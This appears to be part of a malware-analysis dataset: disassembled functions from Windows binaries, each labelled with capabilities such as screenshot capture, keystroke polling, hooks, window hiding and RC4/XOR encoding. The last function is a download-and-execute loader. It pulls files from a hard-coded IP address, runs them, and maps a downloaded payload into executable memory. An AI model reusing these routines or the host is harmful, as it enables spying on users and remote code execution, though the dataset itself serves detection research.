joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43a014
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x43a030
cmp dword [esi + 4], 0
je 0x43a05d
test byte [ebx + 0x55], 1
jne 0x43a04f
mov eax, ebx
call fcn.00438bb4
test eax, eax
jne 0x43a04f
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x43a16d
mov edx, esi
mov eax, ebx
call fcn.00439b38
jmp 0x43a16d
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43a166
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043be84
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00436850
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043a014
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0043be84
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a16d
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x440884
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x45e22c]
cmp byte [eax + 0xc], 0
je 0x4409f1
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4409ea
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x45fb64], 0
jne 0x4408d8
push 0x4409f8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x440a00
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb64], eax
cmp dword [0x45db6c], 0
jne 0x4409d3
push 0x440a10
call sub.kernel32.dll_LoadLibraryA
mov dword [0x45db6c], eax
cmp dword [0x45db6c], 0
je 0x4409d3
push 0x440a1c
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb68], eax
push 0x440a2c
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb6c], eax
push 0x440a40
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb70], eax
push 0x440a58
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb74], eax
push 0x440a70
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb78], eax
push 0x440a84
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb7c], eax
push 0x440a9c
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb80], eax
push 0x440ab4
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb84], eax
push 0x440ad0
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb88], eax
push 0x440adc
mov eax, dword [0x45db6c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45fb8c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4409f1
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x444d34
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00404414
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x444d83
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404684
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x44c554
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c5a4]
test si, 4
je 0x44c568
or bl, 1
test si, 8
je 0x44c572
or bl, 4
test si, 1
je 0x44c57c
or bl, 8
test si, 2
je 0x44c586
or bl, 0x10
test si, 0x10
je 0x44c590
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c59f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44c5a8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44c5e0]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c5c1
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44c5d0
or bl, 4
test esi, 0x20000000
je 0x44c5db
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x452ca4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x452cb6
add esp, 0xfffffff0
call fcn.004039c0
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00419964
mov eax, dword [0x45def4]
mov dword [eax + 4], ebx
mov dword [eax], 0x453048
mov eax, dword [0x45df00]
mov dword [eax + 4], ebx
mov dword [eax], 0x453054
mov eax, ebx
call fcn.00453060
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411c44]
call fcn.00403658
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411c44]
call fcn.00403658
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411c44]
call fcn.00403658
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411c44]
call fcn.00403658
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411c44]
call fcn.00403658
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44f478
push eax
push 0
push 0
mov eax, dword [0x45e044]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b3a8]
call fcn.0041ca68
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b3a8]
call fcn.0041ca68
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b3a8]
call fcn.0041ca68
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004534b0
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453378
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453378
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x453378
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x452df3
call fcn.00403a18
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x45315c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x453307
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4532e8
mov dl, 1
mov eax, dword [0x412060]
call fcn.00403658
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404414
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4532d7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00440be4
test al, al
je 0x4532ca
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x453318
lea eax, [ebp - 0x254]
call fcn.00408fd4
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4532ca
xor eax, eax
push ebp
push 0x4532c3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x453350
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4532ac
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404684
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4532ac
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404684
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4532ca
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4531cd
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415b54
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45330e
lea eax, [ebp - 0x260]
call fcn.00404414
ret

Function at 0x453c50
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x45fbb0]
cmp byte [eax + 0xa5], 0
jne 0x453cc1
cmp dword [0x45fbc8], 0
jne 0x453c82
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x453c0c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x45fbc8], eax
cmp dword [0x45fbc4], 0
jne 0x453c9d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x45fbc4], eax
cmp dword [0x45fbcc], 0
jne 0x453cc1
push esp
push 0
push 0
push 0x453bb0
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x45fbcc], eax
pop edx
ret
Function at 0x454354
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x45fbb0]
cmp dword [eax + 0x30], 0
je 0x4543fe
cmp dword [ebx + 0x94], 0
jne 0x4543f8
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4542e4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4543f8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4543be
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4543f8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413fac
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4543cd
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x454f5c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x454f91
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404504
jmp 0x454f9e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404468
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x4560c0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x456101
mov eax, esi
call fcn.0043c188
test al, al
je 0x456101
mov eax, dword [ebx + 0x84]
call fcn.0043be84
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x456101
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043be84
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4585d0
Capabilities:
Encode data using base64
Encrypt data using rc4 ksa

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov dword [esp + 4], ecx
mov dword [esp], edx
mov edi, 0x45dda0
lea ecx, [esp + 8]
mov dword [ecx], eax
mov eax, dword [esp]
mov dword [esp + 0xc], eax
xor ebx, ebx
xor esi, esi
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
test eax, eax
jle 0x458694
mov edx, dword [ecx]
movzx edx, byte [edx + ebx]
shr edx, 2
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx]
and dl, 3
and edx, 0xff
shl edx, 4
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 1]
shr ebp, 4
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 1], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 1]
and dl, 0xf
and edx, 0xff
shl edx, 2
mov ebp, dword [ecx]
movzx ebp, byte [ebp + ebx + 2]
shr ebp, 6
add edx, ebp
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 2], dl
mov edx, dword [ecx]
mov dl, byte [edx + ebx + 2]
and dl, 0x3f
and edx, 0xff
mov dl, byte [edi + edx]
mov ebp, dword [esp + 0xc]
mov byte [ebp + esi + 3], dl
add esi, 4
add ebx, 3
dec eax
jne 0x458608
mov eax, dword [esp + 4]
mov ebp, 3
cdq
idiv ebp
dec edx
je 0x4586ab
dec edx
je 0x4586ec
jmp 0x458749
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 2], 0x3d
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
jmp 0x458749
mov eax, dword [ecx]
movzx eax, byte [eax + ebx]
shr eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi], al
mov eax, dword [ecx]
mov al, byte [eax + ebx]
and al, 3
and eax, 0xff
shl eax, 4
mov edx, dword [ecx]
movzx edx, byte [edx + ebx + 1]
shr edx, 4
add eax, edx
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 1], al
mov eax, dword [ecx]
mov al, byte [eax + ebx + 1]
and al, 0xf
and eax, 0xff
shl eax, 2
mov al, byte [edi + eax]
mov edx, dword [esp + 0xc]
mov byte [edx + esi + 2], al
mov eax, dword [esp + 0xc]
mov byte [eax + esi + 3], 0x3d
mov eax, dword [esp + 4]
add eax, 2
mov ecx, 3
cdq
idiv ecx
shl eax, 2
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4587ac
Capabilities:
Encode data using base64

Disassembly:
push esi
push edi
push ebp
add esp, 0xfffffff4
mov dword [esp + 4], eax
mov dword [esp + 8], edx
xor esi, esi
xor edi, edi
xor eax, eax
mov ebp, ecx
test ebp, ebp
jns 0x4587c9
add ebp, 3
sar ebp, 2
test ebp, ebp
jle 0x4588db
mov edx, 4
mov eax, esp
mov ecx, dword [esp + 4]
movzx ecx, byte [ecx + esi]
cmp ecx, 0x3d
jg 0x4587fc
je 0x458848
sub ecx, 0x2b
je 0x45883e
sub ecx, 4
je 0x458843
dec ecx
sub ecx, 0xa
jb 0x45882d
jmp 0x45884b
add ecx, 0xffffffbf
sub ecx, 0x1a
jb 0x45880e
add ecx, 0xfffffffa
sub ecx, 0x1a
jb 0x45881c
jmp 0x45884b
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x41
mov byte [eax], cl
jmp 0x45884b
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x61
add cl, 0x1a
mov byte [eax], cl
jmp 0x45884b
mov ecx, dword [esp + 4]
mov cl, byte [ecx + esi]
sub cl, 0x30
add cl, 0x34
mov byte [eax], cl
jmp 0x45884b
mov byte [eax], 0x3e
jmp 0x45884b
mov byte [eax], 0x3f
jmp 0x45884b
mov byte [eax], 0xff
inc esi
inc eax
dec edx
jne 0x4587db
mov al, byte [esp]
shl eax, 2
xor edx, edx
mov dl, byte [esp + 1]
shr edx, 4
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi], al
lea eax, [edi + 1]
mov dl, byte [esp + 2]
cmp dl, 0xff
je 0x45889b
cmp byte [esp + 3], 0xff
jne 0x45889b
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
lea eax, [edi + 2]
inc edi
jmp 0x4588d3
cmp dl, 0xff
je 0x4588d3
mov al, byte [esp + 1]
shl eax, 4
and edx, 0xff
shr edx, 2
or al, dl
mov edx, dword [esp + 8]
mov byte [edx + edi + 1], al
mov eax, dword [esp + 8]
mov dl, byte [esp + 2]
shl edx, 6
or dl, byte [esp + 3]
mov byte [eax + edi + 2], dl
lea eax, [edi + 3]
add edi, 2
inc edi
dec ebp
jne 0x4587d4
add esp, 0xc
pop ebp
pop edi
pop esi
ret

Function at 0x459560
Capabilities:
Encode data using xor

Disassembly:
push ebx
add esp, 0xfffffff8
mov dword [esp], eax
mov dword [esp + 4], edx
mov edx, ecx
dec edx
test edx, edx
jb 0x459586
inc edx
xor eax, eax
mov ecx, dword [esp + 4]
mov cl, byte [ecx + eax]
mov ebx, dword [esp]
xor byte [ebx + eax], cl
inc eax
dec edx
jne 0x459575
pop ecx
pop edx
pop ebx
ret
Function at 0x401740
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
push edi
mov ecx, 1
mov eax, dword [esi + 0x64]
test eax, eax
jne 0x401753
mov dword [esi + 0x64], ecx
mov eax, dword [esi + 0x64]
cmp eax, 7
jle 0x401769
push 0
mov dword [esi + 0x64], 0
call fcn.0040ad63
mov edx, dword [esi + 0x60]
mov edi, dword [esp + 0xc]
cmp edx, ecx
jne 0x4017f3
and eax, 0x80000001
jns 0x401780
dec eax
or eax, 0xfffffffe
inc eax
je 0x40178d
lea eax, [esi + 0xc]
test eax, eax
jne 0x401798
xor ecx, ecx
jmp 0x40179b
lea eax, [esi + 0x14]
test eax, eax
jne 0x401798
xor ecx, ecx
jmp 0x40179b
mov ecx, dword [eax + 4]
test edi, edi
jne 0x4017a3
xor eax, eax
jmp 0x4017a6
mov eax, dword [edi + 4]
mov edx, dword [esi + 0xc8]
push edx
mov dx, word [esi + 0xb4]
push 0
push 0
push edx
mov dx, word [esi + 0xb0]
push edx
push ecx
push eax
mov ecx, esi
call fcn.00401450
mov ecx, dword [esi + 0xb0]
add ecx, 6
mov eax, ecx
mov dword [esi + 0xb0], ecx
cmp eax, 0x1c2
jle 0x4017f3
mov eax, dword [esi + 0x64]
mov dword [esi + 0xb0], 0x5a
inc eax
mov dword [esi + 0x64], eax
cmp dword [esi + 0x60], 3
jne 0x4018a7
mov eax, dword [esi + 0x64]
and eax, 0x80000001
jns 0x40180c
dec eax
or eax, 0xfffffffe
inc eax
je 0x401819
lea eax, [esi + 0x4c]
test eax, eax
jne 0x401824
xor ecx, ecx
jmp 0x401827
lea eax, [esi + 0x14]
test eax, eax
jne 0x401824
xor ecx, ecx
jmp 0x401827
mov ecx, dword [eax + 4]
test edi, edi
jne 0x40182f
xor eax, eax
jmp 0x401832
mov eax, dword [edi + 4]
mov edx, dword [esi + 0xc8]
push edx
mov dx, word [esi + 0xbc]
push 0
push 0
push edx
mov dx, word [esi + 0xb8]
push edx
push ecx
push eax
mov ecx, esi
call fcn.00401450
mov ecx, dword [esi + 0xb8]
add ecx, 6
mov edi, ecx
mov dword [esi + 0xb8], ecx
mov dword [esp + 0xc], edi
fild dword [esp + 0xc]
fmul qword [0x431618]
fsin
fmul qword [0x431610]
fadd qword [0x431608]
call fcn.0040aea8
cmp edi, 0x258
mov dword [esi + 0xbc], eax
jle 0x4018a7
mov eax, dword [esi + 0x64]
mov dword [esi + 0xb8], 0x5a
inc eax
mov dword [esi + 0x64], eax
pop edi
pop esi
ret 4
Function at 0x4020e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x42ef48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [esp + 0x38]
push edi
mov edi, ecx
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
mov ecx, dword [0x43d55c]
mov ebx, eax
mov dword [esp + 0x3c], ecx
mov edx, dword [edi + 0x54]
lea eax, [esp + 0x3c]
push edx
push 0x43d150
push eax
mov dword [esp + 0x40], 0
call fcn.0041c3ca
add esp, 0xc
lea ecx, [esp + 0x14]
push 0x4c6f7
call fcn.004248d1
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x14]
neg eax
sbb eax, eax
lea ecx, [esp + 0x1c]
and eax, edx
mov edx, dword [esi + 4]
push eax
push ecx
push edx
mov byte [esp + 0x40], 1
mov dword [esp + 0x28], 0x9b
mov dword [esp + 0x2c], 0xd
mov dword [esp + 0x30], 0xdc
mov dword [esp + 0x34], 0x2a
call dword [sym.imp.USER32.dll_FillRect]
mov eax, dword [esi]
push 0
mov ecx, esi
call dword [eax + 0x30]
mov edx, dword [esi]
push 0x4c6f7
mov ecx, esi
call dword [edx + 0x2c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], vtable.CFont.0
push 0
push str.Comic_Sans_MS
push 0xa0
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 2
call fcn.00428556
test eax, eax
jne 0x4021d2
push eax
push eax
push str.Cant_Create_Font
call fcn.00426f38
mov eax, dword [esi]
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call dword [eax + 0x28]
mov eax, dword [esp + 0x3c]
mov edx, dword [esi]
mov ecx, dword [eax - 8]
push ecx
push eax
push 0xf
push 0xb0
mov ecx, esi
call dword [edx + 0x5c]
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0x20]
mov esi, vtable.CGdiObject.0
mov dword [esp + 0xc], esi
lea ecx, [esp + 0xc]
mov byte [esp + 0x34], 3
call fcn.004248bb
mov dword [esp + 0x14], esi
lea ecx, [esp + 0x14]
mov byte [esp + 0x34], 4
call fcn.004248bb
lea ecx, [esp + 0x3c]
mov dword [esp + 0x34], 0xffffffff
call fcn.0041d288
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret 4
Function at 0x402650
Capabilities:
Create process on windows
Download url
Get file size
Read file on windows
Read file via mapping
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0
push 0
push 0x43d200
push str.http:__154.198.49.44_
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push 0
push 0
push 0x43d198
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push str.C:ProgramData_admin.txt
push str.http:__154.198.49.44_admin.txt
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocString
push str.C:ProgramData_admin.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x10], ebx
call fcn.0040afdf
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov dword [ebp - 0xc], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
lea edx, [ebp - 4]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10